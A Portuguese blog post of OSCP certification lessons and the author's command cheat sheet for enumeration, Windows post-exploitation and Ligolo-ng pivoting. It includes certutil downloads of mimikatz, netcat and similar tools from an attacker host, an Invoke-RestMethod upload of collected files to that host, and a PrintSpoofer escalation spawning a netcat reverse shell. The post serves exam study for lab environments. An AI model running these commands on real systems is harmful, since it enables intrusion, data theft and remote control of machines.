OSCP - Aprendizados

Posted on Thu, Aug 22, 2024 certifications

INTRO

Muitas postagens são no sentido de detalhar o dia a dia da prova, o que usou para estudo, como é a prova, etc. Entendo que estes ajudam também, mas essa não é minha intenção, mas sim, relatar algumas experiências de forma direta que podem ajudar a quem está buscando esta certificação.

Para mim, como todo curso, toda certificação, mesmo que seja sobre um assunto que você acha que já sabe, sempre haverá o que aprender! Nem que seja um jeito novo de fazer a mesma coisa!

SOBRE A CERTIFICAÇÃO

Hoje eu possuo certificações da EC COUNCIL (CEH v10 ANSI e PRACTICAL) , da Offensive Security ( OSCE, OSCP ) e da INE( eWPT, eCPPTv2 ).

Gosto bastante das certificações da INE (antiga eLeansecurity) por elas serem mais próximas de um trabalho real de um pentest do que um CTF/Desafio onde se busca provar que conseguiu determinado objetivo através de flags.

Já as certificações da Offensive Security são conhecidas pelo tempo restrito e pelo bordão Try Harder.

Esse é um ponto interessante e sempre muito debatido pois se pensarmos bem acho que não seremos contratados para nenhum pentest onde lhe darão 24h para invadir. Nesse ponto, as certificações da INE são muito mais realistas. Mas há um ponto ai. Quando você é “chamado” para executar uma tarefa de uma certa dificuldade e sabe que o tempo é bem restrito, o seu cérebro trata de fazer você focar e prestar atenção, pois sem isso, você não alcançará o objetivo. E você descobrirá pelo bem ou pelo mal que você deve se planejar, antever, se preparar. O dia da prova de certificação é o dia do Ataque.

ANTES DE MAIS NADA

Desenvolvi um simples webserver em python para me ajudar nessa jornada. O problema que eu queria resolver era: Precisava de um webserver simples como rodar python3 -m http.server mas que não ligasse se o nome do que eu precisava estava em maiúscula ou minúscula e que também aceitasse upload de arquivo para eu não ter que ficar me preocupando em mandar por FTP, SMB, etc. Vai que existia algum firewall e quase toda máquina está liberado o acesso a porta 80 ao menos.

Então fica a dica de baixar e usar →

MINHAS RECOMENDAÇÕES

LIÇÕES APRENDIDAS

PLANO DE ATAQUE

Abaixo é um pequeno exemplo do que deixei anotado (muitos podem chamar de metodologia, mas eu não coloquei metodologia por ser simplesmente um conjunto de comandos que deixei anotado para executar logo que iniciar ou a medida que fosse avançando)


PREPARACAO NO DECORRER DOS ESTUDOS:
cat /usr/share/dirb/wordlists/common.txt /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt > /home/kali/wordlists/my-list.txt
cat /home/kali/wordlists/my-list.txt | sort -u  > /home/kali/wordlists/my-list-linux.txt
cat /home/kali/wordlists/my-list.txt | sort -fu > /home/kali/wordlists/my-list-windows.txt

echo public > community
echo private >> community
echo manager >> community


ENUMERAÇÃO INICIAL: 

vim hosts.txt # put all hosts in this file
autorecon -t hosts.txt --nmap-append="--min-rate 2000" --exclude-tags="top-100-udp-ports" --exclude-tags nikto --exclude-tags dirbuster -vv -o autorecon-results

onesixtyone -c community -i hosts


IP=1.1.1.1;PORT=80;OS="windows";ffuf -u http://$IP:$PORT/FUZZ -w /home/kali/wordlists/my-list-$OS.txt -c -ic -mc all -fc 404 -t 300 | tee -a resultado-ffuf-$IP.txt


POST EXPLOITATION WINDOWS:

UPLOAD TOOLS:
certutil -urlcache -split -f http://<ip-kali>tee-x64.exe          c:\users\public\tee.exe
certutil -urlcache -split -f http://<ip-kali>winpeasx64.exe       c:\users\public\winpeasx64.exe
certutil -urlcache -split -f http://<ip-kali>/ligolo-ng/agent.exe c:\users\public\agent.exe
certutil -urlcache -split -f http://<ip-kali>accesschk64.exe      c:\users\public\accesschk64.exe 
certutil -urlcache -split -f http://<ip-kali>nc.exe               c:\users\public\nc.exe
certutil -urlcache -split -f http://<ip-kali>mimikatz.exe         c:\users\public\mimikatz.exe 
certutil -urlcache -split -f http://<ip-kali>/sessiongopher.ps1   c:\users\public\sessiongopher.ps1
certutil -urlcache -split -f http://<ip-kali>/PowerUp.ps1         c:\users\public\PowerUp.ps1
certutil -urlcache -split -f http://<ip-kali>/PowerView.ps1       c:\users\public\PowerView.ps1
certutil -urlcache -split -f http://<ip-kali>/rubeus.exe          c:\users\public\rubeus.exe

INFOS:
dir c:\ # Something different on the root ?!?!
tree c:\users /F /A  | c:\users\public\tee.exe -a c:\users\public\exfil-dir-users.txt
Invoke-RestMethod -Uri  http://<ip-kali>/  -Method Post -Headers @{ "File-Name" = "exfil-dir-users.txt" } -InFile "c:\users\public\exfil-dir-users.txt"

PRIVESC:
certutil -urlcache -split -f http://<ip-kali>/windows-privesc/printspoofer64.exe c:\users\public\printspoofer.exe
c:\users\public\printspoofer.exe -c "c:\users\public\nc <ip-kali> 1337 -e cmd.exe"

CHEAT SHEETS

Algumas anotações de comandos que fiz para ter acesso rápido e alguns links de cheat sheets que achei interessante e podem ajudar.

REVERSE SHELL

Acesse http://www.revshells.com e seja feliz. Tem tudo lá!

PIVOTING

Ligolo-NG ()

https://www.youtube.com/watch?v=DM1B8S80EvQ

https://medium.com/@Poiint/pivoting-with-ligolo-ng-0ca402abc3e9

agent → executável que rodará na vítima!

proxy → interface do ligolo-ng no seu kali que comandará tudo!

ON KALI

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

/home/kali/tools/ligolo-ng/proxy -selfcert

ON VICTIM WINDOWS

c:\>c:\users\public\agent.exe -connect <kali-ip>:11601 --ignore-cert

ON KALI

ligolo> session  #-> Choose  1
ligolo-session1> ifconfig #-> get internal network range at other interface (ex: 10.10.10.1/24)

kali# sudo ip route add 10.10.10.0/24 dev ligolo

ligolo-session1> start

use the tools, like:
# crackmapexec smb 10.10.10.0/24

Se precisar acessar seu kali a partir de uma máquina interna, por exemplo, crie um listenner no agente para que ele redirecione a comunicação para seu Kali!

ON KALI

ligolo-session1> listener_list
ligolo-session1> listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp

Agora, quando uma máquina interna tentar acessar o IP interno da máquina que tem o agente rodando, na porta 8080, o tráfego será redirecionado, pelo agente, para a porta 80 do kali. Sim, o IP no parâmetro --to é 127.0.0.1 e não o IP do kali! É tipo, o agente ao receber a comunicação nessa porta entende algo como: É para mim, deixa eu mandar para o meu proxy!

Agora vamos supor que existe um site na máquina invadida ou algum serviço, que só escute na interface local, ou seja, eu não consigo acessar de fora, só da própria máquina!

Criamos um Listener no agente para que qualquer conexão que vá para uma porta XPTY seja redirecionada para a própria máquina na porta interna que ele tá escutando.

Vamos exemplificar com um serviço web que só é acessível na própria máquina através do endereço, por exemplo, http://127.0.0.1/phpmyadmin :

NO KALI

ligolo-session1> listener_list
ligolo-session1> listener_add --addr 0.0.0.0:8081 --to <ip_interface_interna_maquina_invadida>:80 --tcp

Agora você pode no seu kali acessar http://<ip-externo-maquina-invadida>:8081 e conseguirá acessar o site que estaria disponível apenas internamente!

Powershell e Comandos Windows

#PORTAS ABERTAS
netstat -tupan

#HABILITAR TELNET NO WINDOWS 7
pkgmgr /iu:”TelnetClient”

#PING SWEEP WINDOWS
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.10.10.%i > nul && echo 10.10.10.%i is up.